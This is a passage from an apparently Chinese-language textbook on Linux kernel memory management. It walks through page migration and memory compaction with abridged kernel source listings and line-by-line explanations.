shrink_page_list()->__remove_mapping()函数的作用如下。

page->_count = 0
page->_mapcount = -1
page->flags = [PG_uptodate | PG_swapbacked]

最后把page加入free_page链表中,释放该页。因此该anon_page页的状态是页面内容已经写入swap分区,实际物理页面已经释放。

匿名页面被换出到swap分区后,如果应用程序需要读写这个页面,缺页中断发生,因为pte中的present比特位显示该页不在内存中,但pte表项不为空,说明该页在swap分区中,因此调用do_swap_page()函数重新读入该页的内容。

当用户进程关闭或者退出时,会扫描这个用户进程所有的VMAs,并会清除这些VMA上所有的映射,如果符合释放标准,相关页面会被释放。本例中的anon_page只映射了父进程的VMA,所以这个页面也会被释放。如图2.32所示是匿名页面的生命周期图。

图2.32 匿名页面生命周期

Linux为页面迁移提供了一个系统调用migrate_pages,最早是在Linux 2.6.16版本加入的,它可以迁移一个进程的所有页面到指定内存节点上。该系统调用在用户空间的函数接口如下:

#include <numaif.h>

long migrate_pages(int pid, unsigned long maxnode,
                         const unsigned long *old_nodes,
                         const unsigned long *new_nodes);

该系统调用最早是为了在NUMA系统上提供一种能迁移进程到任意内存节点的能力。现在内核除了为NUMA系统提供页迁移能力外,其他的一些模块也可以利用页迁移功能做一些事情,例如内存规整和内存热插拔等。

页面迁移(page migration)的核心函数是migrate_pages()。

[mm/migrate.c]

0 int migrate_pages(struct list_head *from, new_page_t get_new_page,
1         free_page_t put_new_page, unsigned long private,
2         enum migrate_mode mode, int reason)
3 {
4     int retry = 1;
5     int nr_failed = 0;
6     int nr_succeeded = 0;
7     int pass = 0;
8     struct page *page;
9     struct page *page2;
10    int rc;
11
12    for(pass = 0; pass < 10 && retry; pass++) {
13         retry = 0;
14
15         list_for_each_entry_safe(page, page2, from, lru) {
16               cond_resched();
17
18               rc = unmap_and_move(get_new_page, put_new_page,
19                          private, page, pass > 2, mode);
20
21               switch(rc) {
22               case -ENOMEM:
23                    goto out;
24               case -EAGAIN:
25                    retry++;
26                    break;
27               case MIGRATEPAGE_SUCCESS:
28                    nr_succeeded++;
29                    break;
30               default:
31                    nr_failed++;
32                    break;
33               }
34         }
35     }
36     rc = nr_failed + retry;
37 out:
38     if (nr_succeeded)
39          count_vm_events(PGMIGRATE_SUCCESS, nr_succeeded);
40     return rc;
41 }

migrate_pages()函数的参数from表示将要迁移的页面链表,get_new_page是内存函数指针,put_new_page是迁移失败时释放目标页面的函数指针,private是传递给get_new_page的参数,mode是迁移模式,reason表示迁移的原因。第11行代码,for循环表示这里会尝试10次。从from链表摘取一个页面,然后调用unmap_and_move()函数进行页的迁移,返回MIGRATEPAGE_SUCCESS表示页迁移成功。

[migrate_pages()->unmap_and_move()]

0 static int unmap_and_move(new_page_t get_new_page, free_page_t put_new_page,
1             unsigned long private, struct page *page, int force,
2             enum migrate_mode mode)
3 {
4    int rc = 0;
5    int *result = NULL;
6    struct page *newpage = get_new_page(page, private, &result);
7      
8    rc = __unmap_and_move(page, newpage, force, mode);
9 
10out:
11   if (rc != -EAGAIN) {
12        list_del(&page->lru);
13        dec_zone_page_state(page, NR_ISOLATED_ANON +
14                page_is_file_cache(page));
15        putback_lru_page(page);
16   }
17   
18   if (rc != MIGRATEPAGE_SUCCESS && put_new_page) {
19        ClearPageSwapBacked(newpage);
20        put_new_page(newpage, private);
21   } else
22        putback_lru_page(newpage);
23        
24   return rc;
25}

具体实现页的迁移是在__unmap_and_move()函数中,返回MIGRATEPAGE_SUCCESS表示迁移成功。第6行代码,首先调用get_new_page()分配一个新的页面newpage,接下来调用__unmap_and_move()去尝试迁移页面page到新分配的页面newpage中。第11~16行代码,返回-EAGAIN表示页迁移失败,会把这个页面重新放回LRU链表中。如果页迁移不成功,那么会把新分配的页面释放。第22行代码表示迁移成功,新分配的页也会加入到LRU链表中。

[migrate_pages()->unmap_and_move()->__unmap_and_move()]

0 static int __unmap_and_move(struct page *page, struct page *newpage,
1                 int force, enum migrate_mode mode)
2 {
3   int rc = -EAGAIN;
4   int page_was_mapped = 0;
5   struct anon_vma *anon_vma = NULL;
6 
7   if (!trylock_page(page)) {
8         if (!force || mode == MIGRATE_ASYNC)
9               goto out;
10               
11        if (current->flags & PF_MEMALLOC)
12              goto out;
13
14        lock_page(page);
15   }
16
17   if (PageWriteback(page)) {
18        if (mode != MIGRATE_SYNC) {
19             rc = -EBUSY;
20             goto out_unlock;
21        }
22        if (!force)
23             goto out_unlock;
24        wait_on_page_writeback(page);
25   }
26
27   if (PageAnon(page) && !PageKsm(page)) {
28        anon_vma = page_get_anon_vma(page);
29        if (anon_vma) {
30             /*
31              * Anon page
32              */
33        } else if (PageSwapCache(page)) {
34        } else {
35             goto out_unlock;
36        }
37   }
38     
39   if (!page->mapping) {
40        VM_BUG_ON_PAGE(PageAnon(page), page);
41        if (page_has_private(page)) {
42             try_to_free_buffers(page);
43             goto out_unlock;
44        }
45        goto skip_unmap;
46   }
47
48   if (page_mapped(page)) {
49        try_to_unmap(page,
50             TTU_MIGRATION|TTU_IGNORE_MLOCK|TTU_IGNORE_ACCESS);
51        page_was_mapped = 1;
52   }
53
54skip_unmap:
55   if (!page_mapped(page))
56        rc = move_to_new_page(newpage, page, page_was_mapped, mode);
57
58   if (rc && page_was_mapped)
59        remove_migration_ptes(page, page);
60
61   if (anon_vma)
62        put_anon_vma(anon_vma);
63
64out_unlock:
65   unlock_page(page);
66out:
67   return rc;
68}

在migrate_pages()中,当尝试次数大于2时,会设置force=1。

第7~15行代码,trylock_page()尝试给page加锁,trylock_page()返回false,表示已经有别的进程给page加过锁,返回true表示当前进程可以成功获取锁。

如果尝试获取页面锁不成功,当前不是强制迁移(force=0)或迁移模式等于异步(mode == MIGRATE_ASYNC),会直接忽略这个page,因为这种情况下没有必要睡眠等待页面释放页锁。

如果当前进程设置了PF_MEMALLOC标志位,表示可能是在直接内存压缩(direct compaction)的内核路径上,睡眠等待页面锁是不安全的,所以直接忽略page。举个例子,在文件预读中,预读的所有页面都会加页锁(PG_lock)并添加到LRU链表中,等到预读完成后,这些页面会标记PG_uptodate并释放页锁,这个过程中块设备层会把多个页面合并到一个BIO中(mpage_readpages())。如果在分配第2或者第3个页面时发生内存短缺,内核会运行到直接内存压缩(direct compaction)内核路径上,导致一个页面已经加锁了又去等待这个锁,产生死锁,因此在直接内存压缩(direct compaction)的内核路径会标记PF_MEMALLOC。

PF_MEMALLOC标志位一般是在直径内存压缩、直接内存回收和kswapd中设置,这些场景下也可能会有少量的内存分配行为,因此设置PF_MEMALLOC标志位,表示允许它们使用系统预留的内存,即不用考虑Water Mark水位。可以参见__perform_reclaim()、__alloc_pages_direct_compact()和kswapd()等函数。

除了上述情况,其余情况只能调用lock_page()函数来等待页面锁被释放。这里读者也可以体会到trylock_page()和lock_page()这两个函数的区别。

第17~25行代码,处理正在回写的页面即PG_writeback标志位的页面。这里只有当页面迁移的模式为MIGRATE_SYNC且设置强制迁移(force = 1)时才会去等待这个页面回写完成,否则直接忽略该页面。wait_on_page_writeback()函数会等待页面回写完成。

第27~37行代码,处理匿名页面的anon_vma可能被释放的特殊情况,因为接下来try_to_unmap()函数执行完成时,page->mapcount引用计数会变成0。在页迁移的过程中,我们无法知道anon_vma数据结构是否被释放了。page_get_anon_vma()会增加anon_vma->refcount引用计数防止它被其他进程释放,与之对应的是第61行代码中的put_anon_vma()减少anon_vma->refcount引用计数,它们是成对出现的。

第39~46行代码,这里处理一种特殊情况,例如一个swap cache页面发生swap-in时,在do_swap_page()中会分配一个新的页面,该页面添加到LRU链表中,这个页面是swapcache页面,但是它还没有建立RMAP关系,因此page->mapping=NULL,接下来要进行的try_to_unmap()函数处理这种页面会触发bug。

第48~52行代码,对于有pte映射的页面,调用try_to_unmap()解除页面所有映射的pte。try_to_unmap()函数定义在mm/rmap.c文件中。

第55~56行代码,对于已经解除完所有映射的页面,调用move_to_new_page()迁移到新分配的页面new_page。

第58~59行代码,对于迁移页面失败,调用remove_migration_ptes()删掉迁移的pte。

下面来看第56行代码中的move_to_new_page()函数。

[migrate_pages()->unmap_and_move()->__unmap_and_move()->move_to_new_page()]

0 static int move_to_new_page(struct page *newpage, struct page *page,
1                  int page_was_mapped, enum migrate_mode mode)
2 {
3    struct address_space *mapping;
4    int rc;
5    
6    if (!trylock_page(newpage))
7          BUG();
8         
9    newpage->index = page->index;
10   newpage->mapping = page->mapping;
11   if (PageSwapBacked(page))
12         SetPageSwapBacked(newpage);
13
14   mapping = page_mapping(page);
15   if (!mapping)
16        rc = migrate_page(mapping, newpage, page, mode);
17   else if (mapping->a_ops->migratepage)
18        rc = mapping->a_ops->migratepage(mapping,
19                        newpage, page, mode);
20   else
21        rc = fallback_migrate_page(mapping, newpage, page, mode);
22
23   if (rc != MIGRATEPAGE_SUCCESS) {
24        newpage->mapping = NULL;
25   } else {
26        if (page_was_mapped)
27             remove_migration_ptes(page, newpage);
28        page->mapping = NULL;
29   }
30
31   unlock_page(newpage);
32   return rc;
33}

第6行代码,如果newpage已经被其他进程加锁,那么会是个bug,调用BUG()函数来处理。

第9~12行代码,设置newpage的index和mapping和PG_SwapBacked标志位。

第14~21行代码,处理页面mapping情况,page_mapping()函数获取page->mapping指针,定义在mm/util.c文件中。

struct address_space *page_mapping(struct page *page)
{
     struct address_space *mapping = page->mapping;

     /* This happens if someone calls flush_dcache_page on slab page */
     if (unlikely(PageSlab(page)))
          return NULL;

     if (unlikely(PageSwapCache(page))) {
          swp_entry_t entry;

          entry.val = page_private(page);
          mapping = swap_address_space(entry);
     } else if ((unsigned long)mapping & PAGE_MAPPING_ANON)
          mapping = NULL;
     return mapping;
}

如果page属于slab或是匿名页面,该函数返回mapping为空,如果是PageSwapCache(),则返回swap_address_space空间,其余为page cache的情况,直接返回page->mapping。

以匿名页面为例,调用migrate_page()将旧页面的相关信息迁移到新页面。对于其他有mapping的页面,会调用mapping指向的migratepage()函数指针或fallback_migrate_page()函数,很多文件系统都提供这样的函数接口。

第23~29行代码,remove_migration_ptes()会迁移页面的每一个pte。

下面来看第16行代码中的migrate_page()函数。

[migrate_pages()->unmap_and_move()->__unmap_and_move()->move_to_new_ page()->migrate_page()]

0 int migrate_page(struct address_space *mapping,
1        struct page *newpage, struct page *page,
2        enum migrate_mode mode)
3 {
4     int rc;
5     rc = migrate_page_move_mapping(mapping, newpage, page, NULL, mode, 0);
6 
7     if (rc != MIGRATEPAGE_SUCCESS)
8           return rc;
9 
10    migrate_page_copy(newpage, page);
11    return MIGRATEPAGE_SUCCESS;
12}

对于匿名页面来说,第5行代码中的migrate_page_move_mapping()没做任何事情。第10行代码中的migrate_page_copy()会把旧页面的一些信息复制到新页面中。

[migrate_pages()->unmap_and_move()->__unmap_and_move()->move_to_new_ page()->migrate_page()->migrate_page_copy()]

0 void migrate_page_copy(struct page *newpage, struct page *page)
1 {
2    int cpupid;
3      
4    copy_highpage(newpage, page);
5 
6    if (PageError(page))
7         SetPageError(newpage);
8    if (PageReferenced(page))
9         SetPageReferenced(newpage);
10   if (PageUptodate(page))
11        SetPageUptodate(newpage);
12   if (TestClearPageActive(page)) {
13        VM_BUG_ON_PAGE(PageUnevictable(page), page);
14        SetPageActive(newpage);
15   } else if (TestClearPageUnevictable(page))
16        SetPageUnevictable(newpage);
17   if (PageChecked(page))
18        SetPageChecked(newpage);
19   if (PageMappedToDisk(page))
20        SetPageMappedToDisk(newpage);
21
22   if (PageDirty(page)) {
23        clear_page_dirty_for_io(page);
24        if (PageSwapBacked(page))
25             SetPageDirty(newpage);
26        else
27             __set_page_dirty_nobuffers(newpage);
28   }
29     
31   ksm_migrate_page(newpage, page);
32
33   ClearPageSwapCache(page);
34   ClearPagePrivate(page);
35   set_page_private(page, 0);
36   
37   if (PageWriteback(newpage))
38        end_page_writeback(newpage);
39}

第4行代码,复制旧页面的内容到新页面中,使用kmap_atomic()函数来映射页面以便读取页面的内容。

第6~20行代码,依照旧页面中flags的比特位来设置newpage相应的标志位,例如PG_error、PG_referenced、PG_uptodate、PG_active、PG_unevictable、PG_checked和PG_mappedtodisk等。

第22~28行代码,处理旧页面是dirty的情况。如果旧页面是匿名页面(PageSwap Backed(page)),则设置新页面的PG_dirty位;如果旧页面是page cache,则由__set_page_dirty_nobuffers()设置radix tree中dirty标志位。

第31行代码,处理旧页面是KSM页面的情况。

回到move_to_new_page()函数中,来看第27行代码中的remove_migration_ptes()函数。

0static void remove_migration_ptes(struct page *old, struct page *new)
1{
2   struct rmap_walk_control rwc = {
3        .rmap_one = remove_migration_pte,
4        .arg = old,
5   };
6
7   rmap_walk(new, &rwc);
8}

remove_migration_ptes()是典型地利用RMAP反向映射系统找到映射旧页面的每个pte,直接来看它的rmap_one函数指针。

[migrate_pages()->__unmap_and_move()->move_to_new_page()->remove_migration_ ptes()->remove_migration_pte()]

0 static int remove_migration_pte(struct page *new, struct vm_area_struct *vma,
1                 unsigned long addr, void *old)
2 {
3   struct mm_struct *mm = vma->vm_mm;
4   swp_entry_t entry;
5   pmd_t *pmd;
6   pte_t *ptep, pte;
7   spinlock_t *ptl;
8    
9   pmd = mm_find_pmd(mm, addr);
10  if (!pmd)
11       goto out;
12
13  ptep = pte_offset_map(pmd, addr);
14     
15  ptl = pte_lockptr(mm, pmd);
16  spin_lock(ptl);
17  pte = *ptep;
18  if (!is_swap_pte(pte))
19        goto unlock;
20
21  entry = pte_to_swp_entry(pte);
22
23  if (!is_migration_entry(entry) ||
24        migration_entry_to_page(entry) != old)
25         goto unlock;
26
27  get_page(new);
28  pte = pte_mkold(mk_pte(new, vma->vm_page_prot));
29  if (pte_swp_soft_dirty(*ptep))
30        pte = pte_mksoft_dirty(pte);
31
32  if (is_write_migration_entry(entry))
33        pte = maybe_mkwrite(pte, vma);
34
35  flush_dcache_page(new);
36  set_pte_at(mm, addr, ptep, pte);
37
38  if (PageAnon(new))
39        page_add_anon_rmap(new, vma, addr);
40  else
41        page_add_file_rmap(new);
42
43  update_mmu_cache(vma, addr, ptep);
44unlock:
45  pte_unmap_unlock(ptep, ptl);
46out:
47  return SWAP_AGAIN;
48}

remove_migration_pte()找到其中一个映射的虚拟地址,例如参数中的vma和addr。

第9~13行代码,通过mm和虚拟地址addr找到相应的页表项pte。

第15~16行代码,每个进程的mm数据结构中有一个保护页表的spinlock锁(mm-> page_table_lock)。

第17~36行代码,把映射的pte页表项的内容设置到新页面的pte中,相当于重新建立映射关系。

第38~41行代码,把新的页面newpage添加到RMAP反向映射系统中。

第43行代码,调用update_mmu_cache()更新相应的cache。增加一个新的PTE,或者修改PTE时需要调用该函数对cache进行管理,对于ARMv6以上的CPU来说,该函数是空函数,cache一致性管理在set_pte_at()函数中完成。

内核中有多处使用到页的迁移的功能,列出如下。

伙伴系统以页为单位来管理内存,内存碎片也是基于页面的,即由大量离散且不连续的页面导致的。从内核角度来看,内存碎片不是好事情,有些情况下物理设备需要大段的连续的物理内存,如果内核无法满足,则会发生内核panic。内存碎片化好比军训中带队,行走时间长了,队列乱了,需要重新规整一下,因此本章称为内存规整,一些文献中称为内存紧凑,它是为了解决内核碎片化而出现的一个功能。

内核中去碎片化的基本原理是按照页的可移动性将页面分组。迁移内核本身使用的物理内存的实现难度和复杂度都很大,因此目前的内核是不迁移内核本身使用的物理页面。对于应用户进程使用的页面,实际上通过用户页表的映射来访问。用户页表可以移动和修改映射关系,不会影响用户进程,因此内存规整是基于页面迁移实现的。

内存规整的一个重要的应用场景是在分配大块内存时(order > 1),在WMARK_LOW低水位情况下分配失败,唤醒kswapd内核线程后依然无法分配出内存,这时调用__alloc_pages_direct_compact()来压缩内存尝试分配出所需要的内存。下面沿着allocpages()->…-> \_alloc_pages_direct_compact()这条内核路径来看内存规整是如何工作的。

[mm/page_alloc.c]
[alloc_pages()->__alloc_pages_nodemask()->__alloc_pages_slowpath()->__ alloc_pages_direct_compact()]

0 static struct page *
1 __alloc_pages_direct_compact(gfp_t gfp_mask, unsigned int order,
2        int alloc_flags, const struct alloc_context *ac,
3        enum migrate_mode mode, int *contended_compaction,
4        bool *deferred_compaction)
5 {
6   unsigned long compact_result;
7   struct page *page;
8 
9   if (!order)
10        return NULL;
11
12  current->flags |= PF_MEMALLOC;
13  compact_result = try_to_compact_pages(gfp_mask, order, alloc_flags, ac,
14                      mode, contended_compaction);
15  current->flags &= ~PF_MEMALLOC;
16
17  switch (compact_result) {
18  case COMPACT_DEFERRED:
19       *deferred_compaction = true;
20       /* fall-through */
21  case COMPACT_SKIPPED:
22       return NULL;
23  default:
24       break;
25  }
26     
27  page = get_page_from_freelist(gfp_mask, order,
28                 alloc_flags & ~ALLOC_NO_WATERMARKS, ac);
29
30  if (page) {
31        struct zone *zone = page_zone(page);
32
33        zone->compact_blockskip_flush = false;
34        compaction_defer_reset(zone, order, true);
35        count_vm_event(COMPACTSUCCESS);
36        return page;
37  }
38  cond_resched();
39  return NULL;
40}

内存规整是针对high-order的内存分配,所以order等于0的情况不需要触发内存规整。参数mode指migration_mode,通常由__alloc_pages_slowpath()传递过来,其值为MIGRATE_ASYNC。try_to_compact_pages()函数执行时需要设置当前进程的PF_MEMALLOC标志位,该标志位会在页迁移时用到,避免页面锁(PG_Locked)发生死锁。第27行代码,当内存规整执行完成后,调用get_page_from_freelist()来尝试分配内存,如果分配成功将返回首页page数据结构。

[__alloc_pages_direct_compact()->try_to_compact_pages]

0 unsigned long try_to_compact_pages(gfp_t gfp_mask, unsigned int order,
1            int alloc_flags, const struct alloc_context *ac,
2            enum migrate_mode mode, int *contended)
3 {
4   /* Compact each zone in the list */
5   for_each_zone_zonelist_nodemask(zone, z, ac->zonelist, ac->high_zoneidx, ac->nodemask) {
6   
7      status = compact_zone_order(zone, order, gfp_mask, mode,
8               &zone_contended, alloc_flags,
9               ac->classzone_idx);
10
11     /* If a normal allocation would succeed, stop compacting */
12     if (zone_watermark_ok(zone, order, low_wmark_pages(zone),
13                  ac->classzone_idx, alloc_flags)) {
14           goto break_loop;
15     }
16 
18break_loop:
19     break;
20  }
21  return rc;
22}

在2.4节中已介绍过for_each_zone_zonelist_nodemask宏,它会根据分配掩码来确定需要扫描和遍历哪些zone,compact_zone_order()对特定zone执行内存规整。第12行代码,zone_watermark_ok()判断zone当前的水位是否高于LOW_WMARK水位,如果是,则退出循环。

[__alloc_pages_direct_compact()->try_to_compact_pages-> compact_zone_order()]

0 static unsigned long compact_zone_order(struct zone *zone, int order,
1         gfp_t gfp_mask, enum migrate_mode mode, int *contended,
2         int alloc_flags, int classzone_idx)
3 {
4    unsigned long ret;
5    struct compact_control cc = {
6         .nr_freepages = 0,
7         .nr_migratepages = 0,
8         .order = order,
9         .gfp_mask = gfp_mask,
10        .zone = zone,
11        .mode = mode,
12        .alloc_flags = alloc_flags,
13        .classzone_idx = classzone_idx,
14   };
15   INIT_LIST_HEAD(&cc.freepages);
16   INIT_LIST_HEAD(&cc.migratepages);
17
18   ret = compact_zone(zone, &cc);
19   *contended = cc.contended;
20   return ret;
21}

和kswapd的代码一样,这里定义了控制相关信息的数据结构struct compact_control cc来传递参数。cc.migratepages是将要迁移页面的链表,cc.freepages表示要迁移目的地的链表。

[__alloc_pages_direct_compact()->try_to_compact_pages-> compact_zone_order()->compact_zone()]

0 static int compact_zone(struct zone *zone, struct compact_control *cc)
1 {
2    int ret;
3    unsigned long start_pfn = zone->zone_start_pfn;
4    unsigned long end_pfn = zone_end_pfn(zone);
5    const int migratetype = gfpflags_to_migratetype(cc->gfp_mask);
6    const bool sync = cc->mode != MIGRATE_ASYNC;
7    unsigned long last_migrated_pfn = 0;
8 
9    ret = compaction_suitable(zone, cc->order, cc->alloc_flags,
10                           cc->classzone_idx);
11   switch (ret) {
12   case COMPACT_PARTIAL:
13   case COMPACT_SKIPPED:
14        /* Compaction is likely to fail */
15        return ret;
16   case COMPACT_CONTINUE:
17        /* Fall through to compaction */
18        ;
19   }
20   
21   if (compaction_restarting(zone, cc->order) && !current_is_kswapd())
22        __reset_isolation_suitable(zone);
23          
24   cc->migrate_pfn = zone->compact_cached_migrate_pfn[sync];
25   cc->free_pfn = zone->compact_cached_free_pfn;
26   if (cc->free_pfn < start_pfn || cc->free_pfn > end_pfn) {
27        cc->free_pfn = end_pfn & ~(pageblock_nr_pages-1);
28        zone->compact_cached_free_pfn = cc->free_pfn;
29   }
30   if (cc->migrate_pfn < start_pfn || cc->migrate_pfn > end_pfn) {
31        cc->migrate_pfn = start_pfn;
32        zone->compact_cached_migrate_pfn[0] = cc->migrate_pfn;
33        zone->compact_cached_migrate_pfn[1] = cc->migrate_pfn;
34   }
35    
36   while ((ret = compact_finished(zone, cc, migratetype)) ==
37                        COMPACT_CONTINUE) {
38       int err;
39       unsigned long isolate_start_pfn = cc->migrate_pfn;
40
41       switch (isolate_migratepages(zone, cc)) {
42       case ISOLATE_ABORT:
43           ret = COMPACT_PARTIAL;
44           putback_movable_pages(&cc->migratepages);
45           cc->nr_migratepages = 0;
46           goto out;
47       case ISOLATE_NONE:
48           goto check_drain;
49       case ISOLATE_SUCCESS:
50           ;
51       }
52          
53       err = migrate_pages(&cc->migratepages, compaction_alloc,
54                compaction_free, (unsigned long)cc, cc->mode,
55                MR_COMPACTION);
56
57       cc->nr_migratepages = 0;
58       if (err) {
59             putback_movable_pages(&cc->migratepages);
60             if (err == -ENOMEM && cc->free_pfn > cc->migrate_pfn) {
61                   ret = COMPACT_PARTIAL;
62                   goto out;
63             }
67   }
68
69out:
70   if (cc->nr_freepages > 0) {
71        unsigned long free_pfn = release_freepages(&cc->freepages);
72   }
73   return ret;
74}

第9行代码中的compaction_suitable()主要根据当前的zone水位来判断是否需要进行内存规整。compaction_suitable()函数的定义如下:

static unsigned long __compaction_suitable(struct zone *zone, int order,
                       int alloc_flags, int classzone_idx)
{
     int fragindex;
     unsigned long watermark;

     watermark = low_wmark_pages(zone);

     if (zone_watermark_ok(zone, order, watermark, classzone_idx,
                                    alloc_flags))
          return COMPACT_PARTIAL;

     watermark += (2UL << order);
     if (!zone_watermark_ok(zone, 0, watermark, classzone_idx, alloc_flags))
          return COMPACT_SKIPPED;
     ...
     return COMPACT_CONTINUE;
}

以低水位WMARK_LOW为判断标准,然后做如下判断。

第21~34行代码,设置cc->migrate_pfn和cc->free_pfn。简单来说,cc->migrate_pfn设置为zone的开始pfn(zone->zone_start_pfn),表示从zone的第一个页面开始扫描和查找哪些页面可以被迁移。cc->free_pfn设置为zone的最末的pfn,表示从zone的最末端开始扫描和查找有哪些空闲的页面可以用作迁移页面目的地。

第37~68行代码,while循环从zone的开头处去扫描和查找合适的迁移页面,然后尝试迁移到zone末端的空闲页面中,直到zone处于低水位WMARK_LOW之上。

第36行代码,compact_finished()判断compact过程是否可以结束。__compact_finished()函数的定义如下:

[compact_zone_order()->compact_zone()->__compact_finished()]

0 static int __compact_finished(struct zone *zone, struct compact_control *cc,
1               const int migratetype)
2 {
3    unsigned int order;
4    unsigned long watermark;
5 
6    /* Compaction run completes if the migrate and free scanner meet */
7    if (cc->free_pfn <= cc->migrate_pfn) {
8         /* Let the next compaction start anew. */
9         zone->compact_cached_migrate_pfn[0] = zone->zone_start_pfn;
10        zone->compact_cached_migrate_pfn[1] = zone->zone_start_pfn;
11        zone->compact_cached_free_pfn = zone_end_pfn(zone);
12          
13        return COMPACT_COMPLETE;
14    }
15
16    /* Compaction run is not finished if the watermark is not met */
17    watermark = low_wmark_pages(zone);
18    if (!zone_watermark_ok(zone, cc->order, watermark, cc->classzone_idx,
19                             cc->alloc_flags))
20         return COMPACT_CONTINUE;
21          
22    for (order = cc->order; order < MAX_ORDER; order++) {
23         struct free_area *area = &zone->free_area[order];
24
25         /* Job done if page is free of the right migratetype */
26         if (!list_empty(&area->free_list[migratetype]))
27               return COMPACT_PARTIAL;
28
29         /* Job done if allocation would set block type */
30         if (order >= pageblock_order && area->nr_free)
31               return COMPACT_PARTIAL;
32    }
33
34    return COMPACT_NO_SUITABLE_PAGE;
35}

结束的条件有两个,一是cc->migrate_pfn和cc->free_pfn两个指针相遇,它们从zone的一头一尾向中间方向运行,见第6~14行代码;二是以order为条件判断当前zone的水位在低水位WMARK_LOW之上。如果当前zone在低水位WMARK_LOW之上,那么需要判断伙伴系统中的order对应的zone中的可移动类型的空闲链表是否为空(zone->free_area[order].free_list[MIGRATE_MOVABLE]),最好的结果是order对应的free_area链表正好有空闲页面,或者大于order的空闲链表里有空闲页面,再或者大于pageblock_order的空闲链表有空闲页面。

回到compact_zone()函数中,第41行代码中的isolate_migratepages()扫描并且寻觅zone中可迁移的页面,可迁移的页面会添加到cc->migratepages链表中。

下面来看寻觅可迁移页面的函数isolate_migratepages()。

[__alloc_pages_direct_compact()->try_to_compact_pages-> compact_zone_order()->compact_zone()->isolate_migratepages()]

0 static isolate_migrate_t isolate_migratepages(struct zone *zone,
1                       struct compact_control *cc)
2 {
3    unsigned long low_pfn, end_pfn;
4    struct page *page;
5    const isolate_mode_t isolate_mode =
6        (cc->mode == MIGRATE_ASYNC ? ISOLATE_ASYNC_MIGRATE : 0);
7         
8    low_pfn = cc->migrate_pfn;
9      
10   end_pfn = ALIGN(low_pfn + 1, pageblock_nr_pages);
11   
12   for (; end_pfn <= cc->free_pfn;
13            low_pfn = end_pfn, end_pfn += pageblock_nr_pages) {
14               
15        page = pageblock_pfn_to_page(low_pfn, end_pfn, zone);
16        if (!page)
17             continue;
18               
19        if (!isolation_suitable(cc, page))
20             continue;
21
22        /*
23         * For async compaction, also only scan in MOVABLE blocks.
24         * Async compaction is optimistic to see if the minimum amount
25         * of work satisfies the allocation.
26         */
27        if (cc->mode == MIGRATE_ASYNC &&
28             !migrate_async_suitable(get_pageblock_migratetype(page)))
29             continue;
30
31        /* Perform the isolation */
32        low_pfn = isolate_migratepages_block(cc, low_pfn, end_pfn,
33                                 isolate_mode);
34
35        if (!low_pfn || cc->contended) {
36              acct_isolated(zone, cc);
37              return ISOLATE_ABORT;
38        }
39        break;
40   }
41
42   acct_isolated(zone, cc);
43   cc->migrate_pfn = (end_pfn <= cc->free_pfn) ? low_pfn : cc->free_pfn;
44   return cc->nr_migratepages ? ISOLATE_SUCCESS : ISOLATE_NONE;
45}

isolate_migratepages()函数用于扫描和查找合适迁移的页,从zone的头部开始找起。查找的步长以pageblock_nr_pages为单位。Linux内核以pageblock为单位来管理页的迁移属性。页的迁移属性包括MIGRATE_UNMOVABLE、MIGRATE_RECLAIMABLE、MIGRATE_MOVABLE、MIGRATE_PCPTYPES和MIGRATE_CMA等,内核有两个函数来管理迁移类型,分别是get_pageblock_migratetype()和set_pageblock_migratetype()。内核在初始化时,所有的页面最初都标记为MIGRATE_MOVABLE,见memmap_init_zone()函数(mm/page_alloc.c文件)。pageblock_nr_pages通常是1024个页面(1UL << (MAX_ORDER−1))。

第5行代码,确定分离类型,通常isolate_mode为ISOLATE_ASYNC_MIGRATE。

第12~40行代码,从zone的头部cc->migrate_pfn开始以pageblock_nr_pages为单位向zone尾部方向扫描。

第27行代码,判断pageblock是否为MIGRATE_MOVABLE或MIGRATE_CMA类型,因为这两种类型的页是可以迁移的。cc->mode迁移的类型在__alloc_pages_slowpath()函数传递下来的参数,通常migration_mode参数是异步的,即MIGRATE_ASYNC。

第32行代码,isolate_migratepages_block()函数去扫描和分离pagelock中的页面是否适合迁移。isolate_migratepages_block()函数的实现如下:

[compact_zone()->isolate_migratepages()->isolate_migratepages_block()]

0 static unsigned long
1 isolate_migratepages_block(struct compact_control *cc, unsigned long low_pfn,
2            unsigned long end_pfn, isolate_mode_t isolate_mode)
3 {
4   struct zone *zone = cc->zone;
5   unsigned long nr_scanned = 0, nr_isolated = 0;
6   struct list_head *migratelist = &cc->migratepages;
7   struct lruvec *lruvec;
8   unsigned long flags = 0;
9   bool locked = false;
10  struct page *page = NULL, *valid_page = NULL;
11  unsigned long start_pfn = low_pfn;
12  
13   while (unlikely(too_many_isolated(zone))) {
14       /* async migration should just abort */
15       if (cc->mode == MIGRATE_ASYNC)
16            return 0;
17
18       congestion_wait(BLK_RW_ASYNC, HZ/10);
19
20       if (fatal_signal_pending(current))
21            return 0;
22  }
23
24  if (compact_should_abort(cc))
25       return 0;
26
27  /* Time to isolate some pages for migration */
28  for (; low_pfn < end_pfn; low_pfn++) {
29       if (!pfn_valid_within(low_pfn))
30             continue;
31       nr_scanned++;
32
33       page = pfn_to_page(low_pfn);
34
38       if (PageBuddy(page)) {
39            unsigned long freepage_order = page_order_unsafe(page);
40            
41            if (freepage_order > 0 && freepage_order < MAX_ORDER)
42                  low_pfn += (1UL << freepage_order) - 1;
43            continue;
44       }
45          
46       if (!PageLRU(page)) {
47             if (unlikely(balloon_page_movable(page))) {
48                  if (balloon_page_isolate(page)) {
49                       /* Successfully isolated */
50                       goto isolate_success;
51                  }
52             }
53             continue;
54       }
55       
56       /*
57        * Migration will fail if an anonymous page is pinned in memory,
58        * so avoid taking lru_lock and isolating it unnecessarily in an
59        * admittedly racy check.
60        */
61       if (!page_mapping(page) &&
62             page_count(page) > page_mapcount(page))
63             continue;
64
65       if (!locked) {
66             locked = compact_trylock_irqsave(&zone->lru_lock,
67                                   &flags, cc);
68             if (!locked)
69                   break;
70
71             /* Recheck PageLRU and PageTransHuge under lock */
72             if (!PageLRU(page))
73                   continue;
74       }
75
76       lruvec = mem_cgroup_page_lruvec(page, zone);
77
78       if (__isolate_lru_page(page, isolate_mode) != 0)
79             continue;
80          
81       del_page_from_lru_list(page, lruvec, page_lru(page));
82
83 isolate_success:
84       list_add(&page->lru, migratelist);
85       cc->nr_migratepages++;
86       nr_isolated++;
87  }
88     
89  if (locked)
90        spin_unlock_irqrestore(&zone->lru_lock, flags);
91     
92  return low_pfn;
93}

